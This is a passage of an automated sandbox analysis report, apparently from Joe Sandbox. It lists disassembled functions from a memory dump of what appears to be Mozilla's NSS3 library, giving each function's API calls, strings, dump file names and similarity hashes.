Part of subcall function 6CEFCD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CEFCC7B), ref: 6CEFCD7A
Part of subcall function 6CEFCD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CEFCD8E
Part of subcall function 6CEFCD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CEFCDA5
Part of subcall function 6CEFCD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CEFCDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CEFCCB5
memcpy.VCRUNTIME140(6CF914F4,6CF902AC,00000090), ref: 6CEFCCD3
memcpy.VCRUNTIME140(6CF91588,6CF902AC,00000090), ref: 6CEFCD2B

Part of subcall function 6CE19AC0: socket.WSOCK32(?,00000017,6CE199BE), ref: 6CE19AE6
Part of subcall function 6CE19AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CE199BE), ref: 6CE19AFC

Part of subcall function 6CE20590: closesocket.WSOCK32(6CE19A8F,?,?,6CE19A8F,00000000), ref: 6CE20597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CEFCCB0

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 0f3d2f73bc74dd0a0da44e990939ff19ad32d46baf2eed2cf1765afc432e7854
Instruction ID: 723fca2c29edbe0be45a5c7c1085c309084f0483776d65e0e40ae66f5d5c95b8
Opcode Fuzzy Hash: 0f3d2f73bc74dd0a0da44e990939ff19ad32d46baf2eed2cf1765afc432e7854
Instruction Fuzzy Hash: A01184B5F102405FEF909F5A9C567463EBC9346318F26D539E516CBB42E772C80887D2

Function 6CE61CC0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6CE61CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6CE61CF1

Part of subcall function 6CF409D0: PR_Now.NSS3 ref: 6CF40A22
Part of subcall function 6CF409D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CF40A35
Part of subcall function 6CF409D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CF40A66
Part of subcall function 6CF409D0: PR_GetCurrentThread.NSS3 ref: 6CF40A70
Part of subcall function 6CF409D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CF40A9D
Part of subcall function 6CF409D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CF40AC8
Part of subcall function 6CF409D0: PR_vsmprintf.NSS3(?,?), ref: 6CF40AE8
Part of subcall function 6CF409D0: EnterCriticalSection.KERNEL32(?), ref: 6CF40B19
Part of subcall function 6CF409D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF40B48
Part of subcall function 6CF409D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF40C76
Part of subcall function 6CF409D0: PR_LogFlush.NSS3 ref: 6CF40C7E

Strings

pInitArgs = 0x%p, xrefs: 6CE61CEC
C_Initialize, xrefs: 6CE61CD3

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize
API String ID: 1907330108-3943720641
Opcode ID: 94ed6a6e4681359bfe6b8d141c539d3f8519cb30a4bf30851affa8c581a38b2d
Instruction ID: b3e3126f31600f1424148b41bb196f8c33ad8afa75e17d1af2876499ee95ddbe
Opcode Fuzzy Hash: 94ed6a6e4681359bfe6b8d141c539d3f8519cb30a4bf30851affa8c581a38b2d
Instruction Fuzzy Hash: 2101F535B60080AFDF859F95D809B5937B5EBC635EF144029E408C3F21DB75D889C791

Function 6CDC7F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CDC81DF
LeaveCriticalSection.KERNEL32(?), ref: 6CDC8239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CDC8255
sqlite3_free.NSS3(00000000), ref: 6CDC8260

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 1b5008da2aa712ddb003d6e80ec7e17aa8cd2771f6efe44a6c3f23bf968cd8a8
Instruction ID: 279598ae11db015a2999fe8fbc89c853c992875a854c7fecc1351cac456b1453
Opcode Fuzzy Hash: 1b5008da2aa712ddb003d6e80ec7e17aa8cd2771f6efe44a6c3f23bf968cd8a8
Instruction Fuzzy Hash: 4E918C71F12608DBEF44CFE0DC48BADBBB9BF06308F24412AD4169B664D7356955CB82

Function 6CEA1D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEA1D8F

Part of subcall function 6CE914C0: TlsGetValue.KERNEL32 ref: 6CE914E0
Part of subcall function 6CE914C0: EnterCriticalSection.KERNEL32 ref: 6CE914F5
Part of subcall function 6CE914C0: PR_Unlock.NSS3 ref: 6CE9150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEA1DA6

Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE910F3
Part of subcall function 6CE910C0: EnterCriticalSection.KERNEL32(?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9110C
Part of subcall function 6CE910C0: PL_ArenaAllocate.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91141
Part of subcall function 6CE910C0: PR_Unlock.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91182
Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CEA1E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEA1ED0

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: da501a341ab78b4a973703dccb6c285072211ec6883275052cd51d1c26234dff
Instruction ID: 49994f99998d2c9e6b22fc7b385665ea90147e7ab68994ff8bea6eb357509209
Opcode Fuzzy Hash: da501a341ab78b4a973703dccb6c285072211ec6883275052cd51d1c26234dff
Instruction Fuzzy Hash: BE514975A00209DFDB14CFD8C884BAEB7B6BF49318F248129D8199F751D731E946CB90

Function 6CEF4FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6CDD85D2,00000000,?,?), ref: 6CEF4FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CEF500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CEF50C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CEF50D6

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: eb214f9d2514cba3d0822e5d85ec18cad42b235d24aa3dd59079402e84ad6749
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 2F4182B2A412158BCB18CF18DCD179AB7E1BF5431871D866DD85ACBB02E375E892CB81

Function 6CE1FFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6CE1FDFE), ref: 6CE1FFAD

Part of subcall function 6CDBCA30: EnterCriticalSection.KERNEL32(?,?,?,6CE1F9C9,?,6CE1F4DA,6CE1F9C9,?,?,6CDE369A), ref: 6CDBCA7A
Part of subcall function 6CDBCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CDBCB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6CE1FDFE), ref: 6CE1FFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6CE1FDFE), ref: 6CE2001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6CE1FDFE), ref: 6CE2006F

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: 19d1dd76c774d641a710709d7a37b5f8fd72be32c64a497fed0f3d13911bc23d
Instruction ID: a970f0c99ac49527ed2556f16d1e8263a61a6d6e49f060fd5faeab924b0e0c16
Opcode Fuzzy Hash: 19d1dd76c774d641a710709d7a37b5f8fd72be32c64a497fed0f3d13911bc23d
Instruction Fuzzy Hash: E141FF75F012059BEF08CFA4D895BAEB775BF4A308F140429D80693790DB39A951CB91

Function 6CEACF00 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CEAD01E

Part of subcall function 6CE7E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE7E5A0

PK11_FreeSymKey.NSS3(00000000), ref: 6CEAD055

Part of subcall function 6CE7ADC0: TlsGetValue.KERNEL32(?,6CE5CDBB,?,6CE5D079,00000000,00000001), ref: 6CE7AE10
Part of subcall function 6CE7ADC0: EnterCriticalSection.KERNEL32(?,?,6CE5CDBB,?,6CE5D079,00000000,00000001), ref: 6CE7AE24
Part of subcall function 6CE7ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CE5D079,00000000,00000001), ref: 6CE7AE5A
Part of subcall function 6CE7ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CE5CDBB,?,6CE5D079,00000000,00000001), ref: 6CE7AE6F
Part of subcall function 6CE7ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CE5CDBB,?,6CE5D079,00000000,00000001), ref: 6CE7AE7F
Part of subcall function 6CE7ADC0: TlsGetValue.KERNEL32(?,6CE5CDBB,?,6CE5D079,00000000,00000001), ref: 6CE7AEB1
Part of subcall function 6CE7ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CE5CDBB,?,6CE5D079,00000000,00000001), ref: 6CE7AEC9

PK11_PubUnwrapSymKey.NSS3(?,00000000,6CEACC55,00000107,00000000), ref: 6CEAD079
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEAD08C

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: K11_$CriticalEnterErrorSectionValue$DeriveFreeUnlockUnwrapWithfreememset
String ID:
API String ID: 324975836-0
Opcode ID: 86dd4da22afb5cf1808ce06285c4b9a9f8aa7213bf2cb884f35726e650eae878
Instruction ID: f1eeacd8ef3bcbe7ba67f70ca73b839d668160b1858b78c849d5f8ff9eedda8a
Opcode Fuzzy Hash: 86dd4da22afb5cf1808ce06285c4b9a9f8aa7213bf2cb884f35726e650eae878
Instruction Fuzzy Hash: DF416FB5904219DFE7208F15CC80BA9B7B5FF44308F15869AE90CAB751E3719A86CBA1

Function 6CEA3D40 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,-0000002C,?,6CEA127F,?), ref: 6CEA3D89

Part of subcall function 6CEA06F0: PORT_ZAlloc_Util.NSS3(0000000C,00000000,?,6CEA2E70,00000000), ref: 6CEA0701

SECOID_FindOID_Util.NSS3(FFFFFFFF,?), ref: 6CEA3DD3

Part of subcall function 6CE907B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE38298,?,?,?,6CE2FCE5,?), ref: 6CE907BF
Part of subcall function 6CE907B0: PL_HashTableLookup.NSS3(?,?), ref: 6CE907E6
Part of subcall function 6CE907B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CE9081B
Part of subcall function 6CE907B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CE90825

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Error$HashLookupTableUtil$Alloc_ConstFind
String ID:
API String ID: 99596740-0
Opcode ID: 4ba7a1a142c92d473b95dc8b185de37903ca170de3515c3bb132857b3422e81e
Instruction ID: 10a00bb8e480f7aa89b8c035e6df07dea97ea7b13dcb4d0d7e6bc280cf1ae746
Opcode Fuzzy Hash: 4ba7a1a142c92d473b95dc8b185de37903ca170de3515c3bb132857b3422e81e
Instruction Fuzzy Hash: E331F635A02614DFE71446E99840B69B675AB4236CF34863ADE15CFFD1EB21EC438282

Function 6CF07DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF07E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF07EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF07EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CF07ED8

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: d96261d68643cca30a5e0137378654a367ebebf2e51426f99e7155559e662114
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: 533184B2A012118FDB04CF08DC909DABBA2BF8831871A81AAD8595B711EB71EC45CBD1

Function 6CEBDF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6CE43090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE5AE42), ref: 6CE430AA
Part of subcall function 6CE43090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE430C7
Part of subcall function 6CE43090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CE430E5
Part of subcall function 6CE43090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE43116
Part of subcall function 6CE43090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE4312B
Part of subcall function 6CE43090: PK11_DestroyObject.NSS3(?,?), ref: 6CE43154
Part of subcall function 6CE43090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE4317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CEBDBBD), ref: 6CEBDFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEBDFEE

Part of subcall function 6CE586D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE58716
Part of subcall function 6CE586D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE58727
Part of subcall function 6CE586D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE5873B
Part of subcall function 6CE586D0: PR_Unlock.NSS3(?), ref: 6CE5876F
Part of subcall function 6CE586D0: PR_SetError.NSS3(00000000,00000000), ref: 6CE58787

Part of subcall function 6CE7F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CE7F854
Part of subcall function 6CE7F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CE7F868
Part of subcall function 6CE7F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CE7F882
Part of subcall function 6CE7F820: free.MOZGLUE(04C483FF,?,?), ref: 6CE7F889
Part of subcall function 6CE7F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CE7F8A4
Part of subcall function 6CE7F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CE7F8AB
Part of subcall function 6CE7F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CE7F8C9
Part of subcall function 6CE7F820: free.MOZGLUE(280F10EC,?,?), ref: 6CE7F8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6CEBDBBD), ref: 6CEBDFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6CEBDBBD), ref: 6CEBE007

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: e7017689a0d3d68a9161109f54b089fa4cc9a1469982c2d725e5e43c4c04b2df
Instruction ID: 0c665f410e577f42632118b5ac35a1b10c2f350df68991a5aa7301733264174e
Opcode Fuzzy Hash: e7017689a0d3d68a9161109f54b089fa4cc9a1469982c2d725e5e43c4c04b2df
Instruction Fuzzy Hash: B8314BB4A0520157D7119B79AD85BBB73B89F5530CF240139E909E7B07FB35D618C2E2

Function 6CEA2C80 Relevance: 6.1, APIs: 4, Instructions: 105COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,6CEA1289,?), ref: 6CEA2D72

Part of subcall function 6CEA3390: PORT_ZAlloc_Util.NSS3(00000000,-0000002C,?,6CEA2CA7,E80C76FF,?,6CEA1289,?), ref: 6CEA33E9
Part of subcall function 6CEA3390: PORT_ZAlloc_Util.NSS3(0000001C), ref: 6CEA342E

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CEA1289,?), ref: 6CEA2D61

Part of subcall function 6CEA0B00: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEA0B21
Part of subcall function 6CEA0B00: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEA0B64

PR_SetError.NSS3(FFFFE02D,00000000,?,?,?,?,6CEA1289,?), ref: 6CEA2D88
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,6CEA1289,?), ref: 6CEA2DAF

Part of subcall function 6CE5B8F0: PR_CallOnceWithArg.NSS3(6CF92178,6CE5BCF0,?), ref: 6CE5B915
Part of subcall function 6CE5B8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000001,?), ref: 6CE5B933
Part of subcall function 6CE5B8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,?), ref: 6CE5B9C8
Part of subcall function 6CE5B8F0: SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CE5B9E1

Part of subcall function 6CEA0A50: SECOID_GetAlgorithmTag_Util.NSS3(6CEA2A90,E8571076,?,6CEA2A7C,6CEA21F1,?,?,?,00000000,00000000,?,?,6CEA21DD,00000000), ref: 6CEA0A66

Part of subcall function 6CEA3310: SECOID_GetAlgorithmTag_Util.NSS3(?,00000000,FFFFFFFF,?,6CEA2D1E,?,?,?,?,00000000,?,?,?,?,?,6CEA1289), ref: 6CEA3348

Part of subcall function 6CEA06F0: PORT_ZAlloc_Util.NSS3(0000000C,00000000,?,6CEA2E70,00000000), ref: 6CEA0701

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$AlgorithmAlloc_ErrorK11_Tag_$Item_Tokens$AllocCallFreeOnceWithZfree
String ID:
API String ID: 2288138528-0
Opcode ID: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction ID: 014be4c86666e35fb14081854e115d291f07291f2367f64225101cb1d4990ed1
Opcode Fuzzy Hash: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction Fuzzy Hash: 01310CB2900201AFDB005EA5DC40B9A3775AF5531DF340134EC19AFB92E731E91AC7A2

Function 6CE36C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE36C8D
